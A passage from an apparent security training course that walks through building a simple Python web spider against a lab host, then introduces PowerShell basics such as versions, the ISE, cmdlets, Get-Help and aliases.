it to our exercise host address. For this demonstration, the address
will be 192.168.50.101.
kali@kali:~$ cat webSpider.py
#!/usr/bin/python3
URL = "http://192.168.50.101/"
Listing 98 - The initial URL has been set
With the initial URL set, we now need to store this in a URL list
variable. We'll call ours urlList. Instead of creating the urlList
variable with the initial value in it, let's start with setting the
variable with no values and add the URL variable in it.
kali@kali:~$ cat webSpider.py
#!/usr/bin/python3
URL = "http://192.168.50.101/"
urlList = []
urlList.append(URL)
Listing 99 - The urlList list variable is defined and the URL is added to it
Instead of continuing forward, let's test our current code as written.
The question is, "Are we properly adding the value expected to the
list variable?" The easy way to test this is to print the urlList
variable before and after the append() statement. Let's add this
now.
kali@kali:~$ cat webSpider.py
#!/usr/bin/python3
URL = "http://192.168.50.101/"
urlList = []
print(urlList)
urlList.append(URL)
print(urlList)
Listing 100 - The debugging print functions are added
With the debugging print functions added, let's execute the script
to make sure the urlList variable is being handled appropriately.
kali@kali:~$ chmod +x webSpider.py
kali@kali:~$ ./webSpider.py
[]
['http://192.168.50.101/']
Listing 101 - The urlList has been appropriately populated
With our test, we now know that the URL value has been added
appropriately to the urlList variable. From here, we need to make a
web request of that URL page and store it in a variable. As we covered
before, to do this, we must import a module called requests. From
there, we can use that module to make the request. We'll store the web
request in a variable called page. For the sake of cleaning up our
code, let's remove those debugging print() functions as well.
kali@kali:~$ cat webSpider.py
#!/usr/bin/python3
import requests
URL = "http://192.168.50.101/"
urlList = []
urlList.append(URL)
page = requests.get(URL)
Listing 102 - The requests module is imported and the URL is requested
With the requests module imported in the page variable population,
we can take another moment to debug our program. Let's add a print
statement for the content of the web page after the request to make
sure we are pulling in what we expect.
kali@kali:~$ cat webSpider.py
#!/usr/bin/python3
import requests
URL = "http://192.168.50.101/"
urlList = []
urlList.append(URL)
page = requests.get(URL)
print(page.text)
Listing 103 - The debugging print statement is added to verify if the webpage is getting pulled in appropriately
With the debugging print statement in place, let's execute the
script again.
kali@kali:~$ ./webSpider.py
<!doctype html>
<html> <!-- used for the background of entire website -->
<head>
<!-- This cheesy site was made by RedHatAugust -->
<title>The Secret World of MPG</title>
Listing 104 - The page is being shown as expected
Great! This is what we expected. Now, let's remove the debugging
print statement and move on to the next step.
The next step in our flowchart is to store the URL in a dictionary
variable called isFollowed and assign it the value "yes". We'll
approach this the same way as the urlList variable and define the
dictionary at the beginning of our script. From here, we can add the
dictionary entry and its value after the page request. We'll also add
a debugging print statement after the entry to verify the dictionary
is populated correctly.
kali@kali:~$ cat webSpider.py
#!/usr/bin/python3
import requests
URL = "http://192.168.50.101/"
urlList = []
isFollowed = {}
urlList.append(URL)
page = requests.get(URL)
isFollowed[URL] = "yes"
print(isFollowed)
Listing 105 - The dictionary variable and entry are added
Let's execute the script to ensure it is working as expected.
kali@kali:~$ ./webSpider.py
{'http://192.168.50.101/': 'yes'}
Listing 106 - The dictionary has the expected values
Perfect! Now we will remove the print statement again and move on to
the next step in our flowchart.
Here, we need to parse the page for any links that have "http"
in them. We will accomplish this by using a for loop with a
split()[263] method. The split() method will separate the
variable based on a newline character. Instead of going back and
forth, let's do this with the debugging built-in to test if we can
iteratively read through each line in the page variable. To do this,
we'll declare a counter variable before the for loop and set the
value to "0". Inside the loop, we will print the counter, the line
in the page variable, then increment the counter variable. For
now, we have not considered the fact we need to search for the "http"
string.
kali@kali:~$ cat webSpider.py
#!/usr/bin/python3
import requests
URL = "http://192.168.50.101/"
urlList = []
isFollowed = {}
urlList.append(URL)
page = requests.get(URL)
isFollowed[URL] = "yes"
counter = 0
for line in page.text.split("\n"):
print(counter)
print(line)
counter = counter + 1
Listing 107 - The for loop is created to show each line of the page variable
With this, let's execute our script.
kali@kali:~$ ./webSpider.py
0
<!doctype html>
1
<html> <!-- used for the background of entire website -->
2
3
<head>
4
<!-- This cheesy site was made by RedHatAugust -->
Listing 108 - The loop is able to iterate through each line of the page variable
The goal of this step is to identify any link that has "http" in it.
Let's remove the counter and print of each line and modify the script
to check if "http" is in the line it iterates. We will print only
these lines for this next step.
kali@kali:~$ cat webSpider.py
#!/usr/bin/python3
import requests
URL = "http://192.168.50.101/"
urlList = []
isFollowed = {}
urlList.append(URL)
page = requests.get(URL)
isFollowed[URL] = "yes"
for line in page.text.split("\n"):
if "http" in line:
print(line)
Listing 109 - Each line will be searched for the "http" string and print it if it is found
Let's execute the script.
kali@kali:~$ ./webSpider.py
<link href="http://192.168.50.101/css/main.css" rel="stylesheet" type="text/css" />
<li><a href="http://192.168.50.101/index.html" class="current">Home</a></li>
<li><a href="http://192.168.50.101/gettingStarted.html">Getting Started</a></li>
<li><a href="http://192.168.50.101/techniques.html">Techniques</a></li>
<li><a href="http://192.168.50.101/tutorials.html">Painting Tutorials</a></li>
<li><a href="http://192.168.50.101/shops.html">Miniature Manufacturers</a></li>
<img class="imgRight" src="http://192.168.50.101/images/Crazy_Gaming_Table.jpg" alt="Crazy Tabletop Game Setup!" caption="This is way more than I have ever seen, but this is a wargamer's dream!" width="200px" height="150px">
<!-- Image taken from: https://c2.staticflickr.com/4/3044/2775801876_f168dfcb66_b.jpg -->
<li><a href="http://192.168.50.101/gettingStarted.html">Getting Started</a></li>
<li><a href="http://192.168.50.101/techniques.html">Techniques</a></li>
<li><a href="http://192.168.50.101/tutorials.html">Painting Tutorials</a></li>
<li><a href="http://192.168.50.101/shops.html">Miniature Manufacturers</a></li>
<img class="imgRight" src="http://192.168.50.101/images/Painter-Tux-Beret-Art-Artist-Brush-Blotch-Colour-161318.png" width="40px" height="37px" alt="Shhh... It's a secret.">
<!-- Image taken from: http://maxpixel.freegreatpicture.com/Painter-Tux-Beret-Art-Artist-Brush-Blotch-Colour-161318 -->
Listing 110 - Every line in the page with "http" is printed to the terminal
In the output, there are links that do not contain the IP address of
our host. Let's filter this further with a nested if statement.
for line in page.text.split("\n"):
if "http" in line:
if "192.168.50.101" in line:
print(line)
Listing 111 - An additional string check for our IP Address is added under the check for the "http" string
Let's execute the script again to check if the output changes.
kali@kali:~$ ./webSpider.py
<link href="http://192.168.50.101/css/main.css" rel="stylesheet" type="text/css" />
<li><a href="http://192.168.50.101/index.html" class="current">Home</a></li>
<li><a href="http://192.168.50.101/gettingStarted.html">Getting Started</a></li>
<li><a href="http://192.168.50.101/techniques.html">Techniques</a></li>
<li><a href="http://192.168.50.101/tutorials.html">Painting Tutorials</a></li>
<li><a href="http://192.168.50.101/shops.html">Miniature Manufacturers</a></li>
<img class="imgRight" src="http://192.168.50.101/images/Crazy_Gaming_Table.jpg" alt="Crazy Tabletop Game Setup!" caption="This is way more than I have ever seen, but this is a wargamer's dream!" width="200px" height="150px">
<li><a href="http://192.168.50.101/gettingStarted.html">Getting Started</a></li>
<li><a href="http://192.168.50.101/techniques.html">Techniques</a></li>
<li><a href="http://192.168.50.101/tutorials.html">Painting Tutorials</a></li>
<li><a href="http://192.168.50.101/shops.html">Miniature Manufacturers</a></li>
<img class="imgRight" src="http://192.168.50.101/images/Painter-Tux-Beret-Art-Artist-Brush-Blotch-Colour-161318.png" width="40px" height="37px" alt="Shhh... It's a secret.">
Listing 112 - The links are now limited to those that contain the IP address of our target host
Instead of printing the line to the terminal, we need to filter out
the links. We will do this with a start and end index to get the
URL of each line and print that to the terminal. Let's do this the
same way as covered in the Strings and Slicing section of this Module.
start = "http"
end = "\">"
for line in page.text.split("\n"):
if "http" in line:
if "192.168.50.101" in line:
print(line[line.index(start):line.index(end)] )
Listing 113 - The start and end index parameters are set and the line will be parsed
Let's execute the script and find out if we were able to parse the
links correctly.
kali@kali:~$ ./webSpider.py
Traceback (most recent call last):
File "/home/kali/./webSpider.py", line 20, in <module>
print(line[line.index(start):line.index(end)])
ValueError: substring not found
Listing 114 - The substring failed
The script failed to execute. The error message indicates that
there is an issue with the substring, so our parsing did not work
as intended. Let's debug this issue to review what is going on. To
start, let's print the index values for the start and the end
conditions.
start = "http"
end = "\">"
for line in page.text.split("\n"):
if "http" in line:
if "192.168.50.101" in line:
print(line)
print(line.index(start))
print(line.index(end))
#print(line[line.index(start):line.index(end)])
Listing 115 - The print functions should indicate where the indexes are being assigned
Let's execute the script again.
kali@kali:~$ ./webSpider.py
<link href="http://192.168.50.101/css/main.css" rel="stylesheet" type="text/css" />
16
Traceback (most recent call last):
File "/home/kali/./webSpider.py", line 22, in <module>
print(line.index(end))
ValueError: substring not found
Listing 116 - The issue appears to be with the end index
The script failed again. The line and the start index were printed
to the terminal, which would indicate that the end index is the
issue. Let's review the link lines again. To save time, only two lines
will be shown in the following listing.
<link href="http://192.168.50.101/css/main.css" rel="stylesheet" type="text/css" />
<li><a href="http://192.168.50.101/index.html" class="current">Home</a></li>
Listing 117 - The ending condition is different between the lines displayed
In the example listing above, the URL links have a different ending
condition. With this, we can't create an index condition of "">"
for all lines. Instead, the first line shown above ends the URL link
with a "" " condition. Let's write up a short if/else statement
to check for the potential ending condition and set the end variable
to the found condition.
start = "http"
for line in page.text.split("\n"):
if "http" in line:
if "192.168.50.101" in line:
if "\">" in line:
end = "\">"
else:
end = "\" "
print(line)
print(line.index(start))
print(line.index(end))
#print(line[line.index(start):line.index(end)])
Listing 118 - The if/else condition is added to check for the potential ending index value
Let's execute the script again to analyze the difference in output.
kali@kali:~$ ./webSpider.py
<link href="http://192.168.50.101/css/main.css" rel="stylesheet" type="text/css" />
16
50
<li><a href="http://192.168.50.101/index.html" class="current">Home</a></li>
25
73
...
Listing 119 - The script executed without failure
There's a lot of terminal output with the method we used to debug.
Let's cut out all the debugging statements and print the new URL
values to find out if the slicing is working as expected.
start = "http"
for line in page.text.split("\n"):
if "http" in line:
if "192.168.50.101" in line:
if "\">" in line:
end = "\">"
else:
end = "\" "
print(line[line.index(start):line.index(end)])
Listing 120 - The debugging lines were removed and we should get the URLs on execution now
Let's execute the script to find the URL results.
kali@kali:~$ ./webSpider.py
http://192.168.50.101/css/main.css
http://192.168.50.101/index.html" class="current
http://192.168.50.101/gettingStarted.html
http://192.168.50.101/techniques.html
http://192.168.50.101/tutorials.html
http://192.168.50.101/shops.html
http://192.168.50.101/images/Crazy_Gaming_Table.jpg" alt="Crazy Tabletop Game Setup!" caption="This is way more than I have ever seen, but this is a wargamer's dream!" width="200px" height="150px
http://192.168.50.101/gettingStarted.html
http://192.168.50.101/techniques.html
http://192.168.50.101/tutorials.html
http://192.168.50.101/shops.html
http://192.168.50.101/images/Painter-Tux-Beret-Art-Artist-Brush-Blotch-Colour-161318.png" width="40px" height="37px" alt="Shhh... It's a secret.
Listing 121 - There are lines that have more than the URL in the output
So close! There are many URL lines that are correctly sliced, but
there are a few lines that have extra HTML data in them. Let's set
this to a variable and run an additional test on the variable to
determine if there are any quotes (") in the line. If there are, we
can slice the line again with the end variable set to """.
start = "http"
for line in page.text.split("\n"):
if "http" in line:
if "192.168.50.101" in line:
if "\">" in line:
end = "\">"
else:
end = "\" "
sliced = line[line.index(start):line.index(end)]
if "\"" in sliced:
end = "\""
print(sliced[sliced.index(start):sliced.index(end)])
else:
print(sliced)
Listing 122 - There is an additional check for quotes (") in the sliced line
If the sliced variable has quotes (") in it, it will be sliced an
additional time with a new end condition for the index. Otherwise,
the program will assume the line was fine and print the sliced
variable without modification.
kali@kali:~$ ./webSpider.py
http://192.168.50.101/css/main.css
http://192.168.50.101/index.html
http://192.168.50.101/gettingStarted.html
http://192.168.50.101/techniques.html
http://192.168.50.101/tutorials.html
http://192.168.50.101/shops.html
http://192.168.50.101/images/Crazy_Gaming_Table.jpg
http://192.168.50.101/gettingStarted.html
http://192.168.50.101/techniques.html
http://192.168.50.101/tutorials.html
http://192.168.50.101/shops.html
http://192.168.50.101/images/Painter-Tux-Beret-Art-Artist-Brush-Blotch-Colour-161318.png
Listing 123 - The URL lines appear as expected
The output of the parsing algorithm we set appears to be working
now. Now that we have the expected output, we need to refer to the
urlList and add the link if it isn't in the list already. To do
this, let's take a moment away from this section of the code and add
a custom function at the top of our script called checkUrlList. This
function will take a parameter and loop through the urlList list
variable to check if it exists or not. It will then return True or
False based on the search result.
def checkUrlList(URL):
if URL in urlList:
return True
else:
return False
Listing 124 - The function takes an argument and checks each value in the urlList variable for that argument
As we've been doing, let's add debug print functions to test the
function. Let's do this after our first URL is added to the urlList
list. We'll add one print statement that should result in a "True"
return and another that should result in a "False" return.
urlList.append(URL)
print(checkUrlList(URL))
print(checkUrlList("http://www.offsec.com/"))
Listing 125 - The debug print functions are added
Let's execute the script and find out what each debugging statement
returns.
kali@kali:~$ ./webSpider.py
True
False
...
Listing 126 - The returns displayed to the terminal as expected
Now that we validated the checkUrlList function, let's incorporate
it in the http parsing section. If the link is found in the
urlList, it will be ignored. If it is not on the list, it will be
added.
We can remove all the debugging print() functions from the code as
well. Instead of the print functions, let's set the sliced value
to a different variable, called parsedURL. For the sake of brevity,
we'll also add the debugging print statement outside of the loop to
analyze if the sliced URLs were added to the urlList variable.
start = "http"
for line in page.text.split("\n"):
if "http" in line:
if "192.168.50.101" in line:
if "\">" in line:
end = "\">"
else:
end = "\" "
sliced = line[line.index(start):line.index(end)]
if "\"" in sliced:
end = "\""
parsedURL = sliced[sliced.index(start):sliced.index(end)]
else:
parsedURL = sliced
if checkUrlList(parsedURL) == False:
urlList.append(parsedURL)
print(urlList)
Listing 127 - The parsed links should be stored in the urlList list variable
Let's test the script and analyze the output.
kali@kali:~$ ./webSpider.py
['http://192.168.50.101/', 'http://192.168.50.101/css/main.css', 'http://192.168.50.101/index.html', 'http://192.168.50.101/gettingStarted.html', 'http://192.168.50.101/techniques.html', 'http://192.168.50.101/tutorials.html', 'http://192.168.50.101/shops.html', 'http://192.168.50.101/images/Crazy_Gaming_Table.jpg', 'http://192.168.50.101/gettingStarted.html', 'http://192.168.50.101/techniques.html', 'http://192.168.50.101/tutorials.html', 'http://192.168.50.101/shops.html', 'http://192.168.50.101/images/Painter-Tux-Beret-Art-Artist-Brush-Blotch-Colour-161318.png']
Listing 128 - The URL links were added to the list
Now that the links were stored in the urlList variable, we can read
the urlList and compare the values with the isFollowed dictionary.
If the entry doesn't exist, the whole process needs to start over. If
the entry does exist and has a value of "yes", the URL entry will be
skipped.
Let's build another function that will handle checking if a URL is in
the dictionary isFollowed and if there is a value set to "yes" for
that entry. If either one of these conditions is not met, the function
will return False. Let's name the function isFollowedCheck and put
it after our previously written function.
def isFollowedCheck(URL):
for entry in isFollowed.keys():
if URL != entry:
return False
else:
if isFollowed[URL] == "yes":
return True
else:
return False
Listing 129 - The function to check a URL and if the URL was requested
Let's test the function after we previously set the initial URL
variable dictionary value to "yes". Again, we'll test for a True and
a False return.
isFollowed[URL] = "yes"
print(isFollowedCheck(URL))
print(isFollowedCheck("http://www.offsec.com/"))
Listing 130 - The debugging print functions are added after the initial URL was set to "yes" in isFollowed
Let's execute the script to test our function.
kali@kali:~$ ./webSpider.py
True
False
Listing 131 - The function works as expected
With the test of our function complete, we can remove the print()
functions. This is where our flowchart may come in handy. Our entire
script flow is about to change with that loop from determining if the
URL was followed or not. If we analyze the flowchart, the flow of the
program should execute back to the beginning of our request operation.
We can interpret this choice to return to the beginning of our request
operation to be a loop that starts with that. Once the urlList
list variable is exhausted and all links recorded in that list are
followed, the program will continue past the loop. The last thing we
must do is print the urlList list to the terminal. For the sake of
presentation, let's put that in a for loop and print each link on
its own line.
Indentation matters in Python. The entire script will need to be
shifted to the appropriate spacing under the for loop and maintain
the structure of the code already written. Here is our completed
spider script:
kali@kali:~$ cat webSpider.py
#!/usr/bin/python3
import requests
URL = "http://192.168.50.101/"
urlList = []
isFollowed = {}
def checkUrlList(URL):
if URL in urlList:
return True
else:
return False
def isFollowedCheck(URL):
for entry in isFollowed.keys():
if URL != entry:
return False
else:
if isFollowed[URL] == "yes":
return True
else:
return False
urlList.append(URL)
for URL in urlList:
if isFollowedCheck(URL) != True:
page = requests.get(URL)
isFollowed[URL] = "yes"
start = "http"
for line in page.text.split("\n"):
if "http" in line:
if "192.168.50.101" in line:
if "\">" in line:
end = "\">"
else:
end = "\" "
sliced = line[line.index(start):line.index(end)]
if "\"" in sliced:
end = "\""
parsedURL = sliced[sliced.index(start):sliced.index(end)]
else:
parsedURL = sliced
if checkUrlList(parsedURL) == False:
urlList.append(parsedURL)
isFollowed[parsedURL] = "no"
for URL in urlList:
print(URL)
Listing 132 - The script is completed by closing the logic loop through the urlList list variable
To finalize this, let's run the script to determine if our loop was
successful.
kali@kali:~$ ./webSpider.py
http://192.168.50.101/
http://192.168.50.101/css/main.css
http://192.168.50.101/index.html
http://192.168.50.101/gettingStarted.html
http://192.168.50.101/techniques.html
http://192.168.50.101/tutorials.html
http://192.168.50.101/shops.html
http://192.168.50.101/images/Crazy_Gaming_Table.jpg
http://192.168.50.101/images/Painter-Tux-Beret-Art-Artist-Brush-Blotch-Colour-161318.png
Listing 133 - The spider printed out all the pages found on the site
The spider took a moment to complete the iterations and page requests.
When completed, the links are displayed to the terminal output.
Let's take a moment to practice what was covered with the following
exercise.
In this Topic, we will cover the following Learning Units:
Each learner moves at their own pace, but this Topic should take
approximately 7 hours to complete.
Scripting[264] is an efficient way to perform or automate
repetitive tasks, and it can be used to complete tasks on a large
scale. For example, in an enterprise network we might need to
complete the same tasks on hundreds of hosts. Doing this manually
would be extremely tedious and time consuming. Scripting allows us to
accomplish this quickly and efficiently.
Although there are multiple scripting languages, in this Topic,
we are going to focus specifically on scripting with PowerShell
(PS).[265]
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 90 minutes to complete.
On the Windows operating system, we can use batch scripts in batch
files[266] to automate tasks. Although batch scripts has
a very limited instruction set, it is more about executing multiple
command-line programs by using the cmd.exe[267] Windows
command-line interpreter. To expand on this functionality, Microsoft
introduced PowerShell to provide a more powerful tool to system
administrators to automatically manage complex systems such as Active
Directory and Group Policy.
In this Learning Unit, we will get a better understanding of
PowerShell's strengths and limitations, and why it is important for
cybersecurity professionals to know PowerShell scripting basics. We
will also learn how to use PowerShell by looking at a few PowerShell
cmdlets.[268]
In the mid-2000s, Windows PowerShell, an object-oriented
programming[269] language based on the .NET
Framework,[270] was officially created by Microsoft.
In 2016, PowerShell (PS) was made open-source and cross-platform.
PowerShell Core is the open-source version, and is based on
.NET Core.[271] This is different compared to other
scripting languages. While Bash and most other shell environments
operate by ingesting and returning text, PowerShell works with .NET
objects. We will become more familiar with PowerShell and what it
has to offer by going over a few features including: cmdlets,
modules,[272] providers,[273] and more.
PowerShell is native to all current Windows systems since Windows 7.
Whether we are administrators, blue teamers, or red teamers, we can
almost always assume that PowerShell will be available on Windows
systems. As a result, we can avoid using third-party tools, which may
introduce their own risks.
PowerShell is a fairly intuitive scripting language and can be learned
rather quickly compared to other languages. It can be used locally
and remotely, which means we can automate tasks within a domain from a
single computer.
Powershell's flexibility and functionality when it comes to automating
tasks is nearly limitless. If there is a task we need to automate to
save time, we can likely achieve it with PowerShell.
Although PowerShell's basic syntax is fairly straightforward,
becoming efficient with it may take some time and practice. Mastering
PowerShell may seem overwhelming to some practitioners because of
how powerful and flexible it is. A red teamer can use PowerShell
on any Windows system by default. Blue teamers should keep this
in mind and implement proper controls to prevent PowerShell from
becoming a security risk. However, Microsoft and the community
in general, have created numerous resources and documentation to
assist professionals. We can easily tap into things like Microsoft
Docs[274] to become more efficient, comfortable, and
confident with using PowerShell.
As previously mentioned, Windows PowerShell is slightly different than
PowerShell Core. By default, Windows 10 has Windows PowerShell 5.0
installed. Because PowerShell Core has released newer versions, it is
important to note that there is a backward compatibility issue between
current versions of PowerShell Core and previous Windows PowerShell
versions. This results in some PowerShell Core commands and features
not working with previous Windows PowerShell versions. This is further
critical when working with older versions of Windows. We should
always check the PowerShell version installed on the system, and keep
backward compatibility in mind before implementing on a production
system.
To follow along, turn on the VM located in the "Resources" part of
this page, and continue to the next section.
Ensure the machine is turned on. If not turned on, we can refer to the
"Resources" part of this page to turn on the machine.
There are numerous ways to launch PowerShell.
For individuals that prefer the non-GUI version, we can SSH into the
machine. Let's use the credentials (offsec:offsec) and SSH into the
machine.
Next, let's launch PowerShell through the Command-Line Interface
(CLI) by typing powershell, and pressing I.
offsec@PS-SCRIPTING C:\Users\offsec>powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Try the new cross-platform Powershell http://aka.ms/pscore6
PS C:\Users\offsec>
Listing 1 - Launch PowerShell CLI through SSH
The prompt begins with the letters "PS", which confirms we launched
PowerShell.
Let's double check the version of PowerShell:
PS C:\Users\offsec> $PSVersionTable
Name Value
---- -----
PSVersion 5.1 .19041.1320
...
Listing 2 - Checking PS Version
Since we are currently using Windows PowerShell rather than PowerShell
Core, the version is 5.1. As mentioned before, while there is a lot
of overlap, there is slight differences between the versions. Given
the fact that we are covering the basics, encountering backward
compatibility issues is unlikely. To be on the safe side, we are going
to use Windows PowerShell 5.1 since it is the default version on
Windows 10.
The next two methods we will cover are using the GUI. Let's connect
to the machine using a remote desktop client, like rdesktop, and log
in using the credentials offsec:offsec. In the example below, the IP
address will most likely be different.
kali@kali:~$ rdesktop -u offsec -p offsec 192.168.50.37:3389
Listing 3 - Using remote desktop client on kali
In the search bar located at the bottom, let's type powershell.
Two programs should stick out: Windows PowerShell and Windows
PowerShell ISE.[275] Windows PowerShell is similar to the
method we used before when we used SSH to access the machine. If we
open it, a new window will appear that launches PowerShell.
Alternatively, we can open Windows PowerShell ISE, which is composed of
three panes: the right pane is the Add-on Tools Pane, the top left
pane is the Script Pane and the bottom left pane is the Console
Pane. Some panes may not be opened or enabled.
Windows PowerShell Integrated Scripting Engine (ISE) is a more
powerful GUI version for running PowerShell commands and scripts.
Another reason why we are using Windows PowerShell as opposed
to PowerShell Core is because Windows PowerShell ISE does not support
PowerShell versions past 5.1.
A workaround to mimic the ISE interface for the current
version of PowerShell is to install and enable the PowerShell
Extension[276] for Visual Studio Code. This extension
provides similar features that the Windows PowerShell ISE provides,
and it is available across multiple platforms (Windows, macOS,
Ubuntu).
Ultimately, any of the above methods will work, but we we will
primarily use the Windows PS ISE throughout this Topic because of the
features available. Additionally, we will use the Console Pane. We
will not specifically cover the Script Pane. However, the Script
Pane can be useful for running and debugging PowerShell scripts.
To avoid permission issues, we need to launch the Windows PS ISE as
an administrator. One way to achieve this is to right-click on the
program and select Run as Administrator.
There are slight differences between using regular PowerShell and
PowerShell ISE. Please remember that if we use regular PowerShell,
results may vary, and following along might be difficult. For the
purposes of this Topic, we will use PowerShell ISE.
The exercises MUST be completed using the ISE and connecting with
rdesktop. Using PowerShell through SSH will provide different results
for some questions. To avoid confusion and frustration, please do NOT
use SSH to complete the exercises.
Next, let's go over the anatomy of cmdlets (pronounced
command-lets)[268-1] and explore some basic cmdlets.
PowerShell has a functionality built-in called cmdlets, which are
different than typical commands. Commands and cmdlets are both
executable in PowerShell, but it's important to understand the
difference.
A command is a program that is, or has been, compiled and can be
executed standalone. A cmdlet on the other hand, is a .NET class that
works on objects.[277]^,[278]
Cmdlets are lightweight and don't have the overhead that is required
by a typical command. For instance, they don't have any built-in
output formatting, parsing, or error handling, whereas a command
would need these things so it can function as a standalone program.
This functionality allows a cmdlet to work well as part of a modular
process.
Cmdlets can be chained together similar to the way we might use pipes
in Bash. The difference that is important to remember is PowerShell
cmdlets work with .NET objects, whereas Bash works with text. Chaining
cmdlets together will pass objects from the last cmdlet to the next,
and the return object will be passed to the next after that.
In the PowerShell interpreter, we can directly execute a cmdlet, which
implements a particular operation set. Cmdlets are named by a verb and
a noun separated by a hyphen. For example, the Get-Help[279]
cmdlet has "Get" as the verb and "Help" as the noun. "Get" is used to
retrieve a resource.
To get a list of available verbs we can run Get-Verb.[280]
This shows us a list of cmdlet verbs along with what they do. The verb
"block" typically has a security application, whereas "connect" likely
has a communication application.
PS C:\WINDOWS\system32> Get-Verb
Verb Group
---- -----
Add Common
Clear Common
...
Trace Diagnostic
Connect Communications
Disconnect Communications
Read Communications
Receive Communications
Send Communications
Write Communications
Block Security
Grant Security
Protect Security
...
Listing 4 - List of available verbs
Additionally, we can reference the list of verbs[281] for a
more detailed explanation of what each verb does.
Let's go over Get-Help, which is is arguably the most useful cmdlet.
Get-Help provides information about cmdlets, which is similar to the
manual, or man,[282] command in Linux. Let's run the
command on the cmdlet itself to get a better understanding of it.
A pop-up box regarding an "Update-Help" cmdlet may appear. Select
Yes to continue. The update should complete within 30 seconds.
PS C:\WINDOWS\system32> Get-Help Get-Help
NAME
Get-Help
SYNOPSIS
Displays information about PowerShell commands and concepts.
SYNTAX
...
DESCRIPTION
...
Listing 5 - Running Get-Help on Get-Help Cmdlet
We are provided with a plethora of useful information. At the
beginning, we get a quick sentence on what the command does. Following
that is the syntax, which may seem repetitive, but there are small
differences. The syntax may seem overwhelming, but we will be able to
digest it better with practice. Next is a detailed explanation of the
command, followed by more information in case we want to get an even
deeper understanding of the command.
Let's take a closer look at the SYNTAX portion:
...
SYNTAX
Get-Help [ [ -Name] <System.String>]
...
Listing 6 - PowerShell Command Parameters
Items in between the brackets are parameters,[283] or
optional commands that can expand on the functionality of the main
command. We also see that brackets can nest within each other. In
Listing 6, the red brackets represent the
outer brackets of the parameter, and the green represents the inner
brackets.
A PowerShell parameter[284] begins with a hyphen (-)
and is generally composed of a name and a value pair, either separated
by a space or a colon (:). Not all parameters require a value
though. As we will experience later, some parameters will only use
the name portion, because the value portion does not exist or is not
needed.
In this case, "Name" is the name of a specific parameter, and
the string that follows it is the value. They are separated by a
space character. A string is a specific data type. We will discuss
strings and data types more in-depth later. For now, keep in mind
the basic syntax for PowerShell parameters. Let's add the -Name
<System-String> parameter to Get-Help.
PS C:\WINDOWS\system32> Get-Help -Name "Get-Help"
NAME
Get-Help
...
Listing 7 - Running Get-Help command with the -Name "Get-Help" parameter
The result is identical when compared to running Get-Help
Get-Help.
Now that we are familiar with two ways to learn more about PowerShell
commands, let's explore two beneficial parameters that can be used
with Get-Help.
...
SYNTAX
Get-Help [[-Name] <System.String>] [-Category {Alias | Cmdlet | Provider | General | FAQ | Glossary | HelpFile | ScriptCommand | Function | Filter | ExternalScript | All | DefaultHelp | DscResource | Class | Configuration}] [-Component <System.String[]>] -Detailed [-Functionality <System.String[]>] [-Path <System.String>] [-Role <System.String[]>] [<CommonParameters>]
Get-Help [[-Name] <System.String>] [-Category {Alias | Cmdlet | Provider | General | FAQ | Glossary | HelpFile | ScriptCommand | Function | Filter | ExternalScript | All | DefaultHelp | DscResource | Class | Configuration}] [-Component <System.String[]>] -Examples [-Functionality <System.String[]>] [-Path <System.String>] [-Role <System.String[]>] [<CommonParameters>]
...
Listing 8 - "-Detailed" and "-Examples" Parameters
Unlike the -Name that required a value pair, the -Detailed and
-Examples parameters do not accept values. Let's run them to see
the results.
PS C:\WINDOWS\system32> Get-Help -Name "Get-Help" -Examples
NAME
Get-Help
SYNOPSIS
Displays information about PowerShell commands and concepts.
--- Example 1: Display basic help information about a cmdlet ---
...
Listing 9 - Running Get-Help command with the -Examples parameter
By applying the -Examples parameter, we are provided with several
examples of how to use Get-Help. This can be extremely useful when we
start using an unfamiliar command.
Let's take it a step further with the -Detailed parameter, which
provides information like description and examples. It also provides
detailed explanations of parameters available to the command.
PS C:\WINDOWS\system32> Get-Help -Name "Get-Help" -Detailed
NAME
Get-Help
...
PARAMETERS
...
-Detailed <Sytem.Management.Automatic.SwitchParameter>
Adds parameter descriptions and examples to the basic help display...
Listing 10 - Running Get-Help command with the -Detailed parameter
We get a lengthy manual for Get-Help, which can be helpful if we want
additional details on a command.
Becoming efficient with Get-Help and the different parameters
available is instrumental. Knowing how to leverage the command to
learn more information about other commands can save us a lot of time.
Before covering the last basic cmdlet, let's discuss two more generals
concepts: tab completion[285] and alias.[286]
Tab completion, more formally known as command-line completion,
is a feature that is part of many command-line interfaces, including
PowerShell. As we type, the program will attempt to guess what we are
trying to type and provide options. We can use the A keyboard
shortcut to auto-complete what we are trying to type. When using the
PowerShell ISE, we can also use our mouse or arrow keys to scroll
through the options and select the one we want.
Let's type Get- to view the options presented to us by PowerShell
ISE.
Now, let's delete the characters and type Get-H. The program jumps
to "Get-Help" because it is the first option alphabetically under "H".
We are also able view the information under "SYNTAX" that we saw in
previous help commands, but this only lasts for a few seconds.
To ensure "Get-Help" is selected, we will press the A key to
auto-complete "Get-H" to "Get-Help". An example is shown below:
An alias is a shortcut commands that will do the same thing as
the main command. For example, help is an alias to Get-Help. If
we type help Get-Help, help -Name "Get-Help", or Get-Help
Get-Help, it is essentially the same commands as far as the
interpreter is concerned, and the results will be identical.
PS C:\WINDOWS\system32> help Get-Help
NAME
Get-Help
SYNOPSIS
Displays information about PowerShell commands and concepts.
...
Listing 11 - Running the "help" alias of Get-Help
To get a list of existing aliases, let's run Get-Alias.
PS C:\WINDOWS\system32> Get-Alias
CommandType Name Version Source
___________ ____ _______ ______
Alias ? -> Where-Object
...
Listing 12 - Running "Get-Alias" to view available aliases
By using the -Definition <System.String> parameter, we are able
see if help has any other aliases.
PS C:\WINDOWS\system32> Get-Alias -Definition "help"
CommandType Name Version Source
___________ ____ _______ ______
Alias man -> help
...
Listing 13 - Displaying other aliases for the "help" command
In addition to help, we can also use man to achieve the same
thing.
We can create our own alias within the current session. The current
session refers to the instance of the program that is running. When
we launch PowerShell, a session is created. Once we close it, the
instance or program no longer runs. This is important as aliases that
we create are only temporarily available. There are ways to create
permanent aliases, but that is out of scope for this Topic.
Let's create another alias for Get-Help:
PS C:\WINDOWS\system32> Set-Alias -Name gh -Value Get-Help
PS C:\WINDOWS\system32> Get-Alias -Name gh
CommandType Name Version Source
___________ ____ _______ ______
Alias gh -> Get-Help
...
Listing 14 - Create custom alias
Perfect! We created our own custom alias and confirmed that it exists.
Let's give it a try:
PS C:\WINDOWS\system32> gh Get-Help
NAME
Get-Help
SYNOPSIS
Displays information about PowerShell commands and concepts.
